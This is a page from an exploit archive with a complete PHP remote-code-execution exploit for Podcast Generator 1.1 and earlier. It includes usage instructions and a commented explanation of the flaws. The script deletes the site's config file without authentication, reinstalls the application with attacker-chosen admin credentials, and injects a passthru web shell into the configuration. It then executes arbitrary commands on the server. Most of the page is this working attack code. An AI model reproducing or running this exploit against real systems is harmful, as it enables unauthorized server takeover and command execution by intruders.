Podcast Generator <= 1.1 Remote Code Execution Exploit

2009.04.04
Credit: BlackHawk
Risk: High
Local: No
Remote: Yes

#!/usr/bin/php -q -d short_open_tag=on <? echo " Podcast Generator <= 1.1 Remote Code Execution Vendor: http://podcastgen.sourceforge.net Exploit Author: BlackHawk Author's Site: http://itablackhawk.altervista.org Credits goes to RGod for the code Thanks to Marija just for exist :) "; if ($argc<4) { echo " Usage: php ".$argv[0]." host /path/ command Es: php ".$argv[0]." localhost / dir "; die; } /* Bugs explanation: This app has tons of bugs, but because of his structure lot of them are useless.. but not them all! Look at 'core/admin/delete.php' (i have omitted the author comments): --------------------------- <?php if (isset($_REQUEST['absoluteurl']) OR isset($_REQUEST['amilogged']) OR isset($_REQUEST['theme_path'])) { exit; } if (isset($_GET['file']) AND $_GET['file']!=NULL) { $file = $_GET['file']; $ext = $_GET['ext']; if (file_exists("$absoluteurl$upload_dir$file.$ext")) { unlink ("$upload_dir$file.$ext"); $PG_mainbody .="<p><b>$file.$ext</b> $L_deleted</p>"; } --------------------------- no check for admin rights, so now we can delete whatever file we want, with any exstension.. so let's delete config.php and make a rfesh new installation with a password set by us! the RCE is triggered in 'core/admin/scriptconfig.php', line 56: --------------------------- // recent in home $recent = $_POST['recent']; if ($recent != "") { $max_recent = $recent; } --------------------------- no sanitize of the input and no quotes added when writting to the config file (so no need mq=off) BlackHawk <hawkgotyou@gmail.com> */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); } $host=$argv[1]; $path=$argv[2]; $cmd=""; for ($i=3; $i<=$argc-1; $i++){ $cmd.=" ".$argv[$i]; } $port=80; $proxy=""; if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} echo "Step1 - Delete config.inc\r\n"; $packet ="GET ".$p."core/admin/delete.php?file=../../config&ext=php HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); echo "Step2 - Creating new configuration\r\n"; $data="username=new_user_name&password=blackhawk&password2=blackhawk&setuplanguage=en"; $packet="POST ".$p."/setup/index.php?step=5 HTTP/1.0\r\n"; $packet.="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"; $packet.="Accept-Language: it\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cache-Control: no-cache\r\n\r\n"; $packet.=$data; sendpacketii($packet); echo "Step3 - Logging in\r\n"; $data="user=new_user_name&password=blackhawk"; $packet="POST ".$p."?p=admin HTTP/1.0\r\n"; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n"; $packet.="Accept-Language: it\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cache-Control: no-cache\r\n\r\n"; $packet.=$data; sendpacketii($packet); $temp=explode("Set-Cookie: ",$html); $temp2=explode(" ",$temp[1]); $PHPid = $temp2[0]; echo "Step4 - Sending shell\r\n"; $data="streaming=yes&fbox=yes&cats=yes&newsinadmin=yes&strictfilename=yes&recent=5; if (isset(\$_GET[cmd])){if(get_magic_quotes_gpc()){\$_GET[cmd]=stripslashes(\$_GET[cmd]);}echo 666999;passthru(\$_GET[cmd]);echo 666999;}\$xyz=5&recentinfeed=All&selectdateformat=d-m-Y&scriptlanguage=en"; $packet="POST ".$p."?do=config&p=admin&action=change HTTP/1.0\r\n"; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n"; $packet.="Accept-Language: it\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cookie: $PHPid\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cache-Control: no-cache\r\n\r\n"; $packet.=$data; sendpacketii($packet); echo "Step5 - Executing Command\r\n\r\n"; $packet ="GET ".$p."config.php?cmd=dir HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacketii($packet); if (strstr($html,"666999")) { echo "Exploit succeeded...\r\n"; $temp=explode("666999",$html); die("\r\n".$temp[1]."\r\n"); } ?>

References:

http://www.securityfocus.com/bid/34317
http://www.milw0rm.com/exploits/8324
http://secunia.com/advisories/34555


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top